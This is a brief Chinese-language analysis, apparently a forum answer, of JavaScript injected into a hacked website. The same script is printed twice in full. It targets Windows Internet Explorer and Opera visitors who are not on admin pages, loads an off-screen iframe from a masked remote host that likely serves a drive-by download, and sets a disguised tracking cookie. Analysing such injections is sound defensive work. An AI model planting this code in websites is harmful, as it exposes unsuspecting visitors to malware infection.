现在很明显：它设置了一个随机标识符cookie，对于Windows上每个不浏览“管理员”url的IE/Opera用户，它会创建一个位于屏幕外的iframe。iframe可能包含一些恶意软件的驱动器下载。隐藏的代码如下：
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled){
var stnm=rs();
var ua = navigator.userAgent;
var url = document.location.href;
if(url.indexOf('admin')==-1 && ua.indexOf('Windows')!=-1 && (ua.indexOf('MSIE')!=-1||ua.indexOf('Opera')!=-1)){
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://xxxxxxxxxxxx.info/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
}
var exp=new Date();exp.setDate(exp.getDate()+7);
if(document.cookie.indexOf('__utmfr=')==-1){document.cookie='__utmfr='+rs()+'; expires='+exp.toGMTString()+'; path=/';}
}
看起来这会在每个网页中添加一点代码，以便在i-frame中显示恶意url。隐藏的代码如下：
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled){
var stnm=rs();
var ua = navigator.userAgent;
var url = document.location.href;
if(url.indexOf('admin')==-1 && ua.indexOf('Windows')!=-1 && (ua.indexOf('MSIE')!=-1||ua.indexOf('Opera')!=-1)){
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://xxxxxxxxxxxx.info/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
}
var exp=new Date();exp.setDate(exp.getDate()+7);
if(document.cookie.indexOf('__utmfr=')==-1){document.cookie='__utmfr='+rs()+'; expires='+exp.toGMTString()+'; path=/';}
}
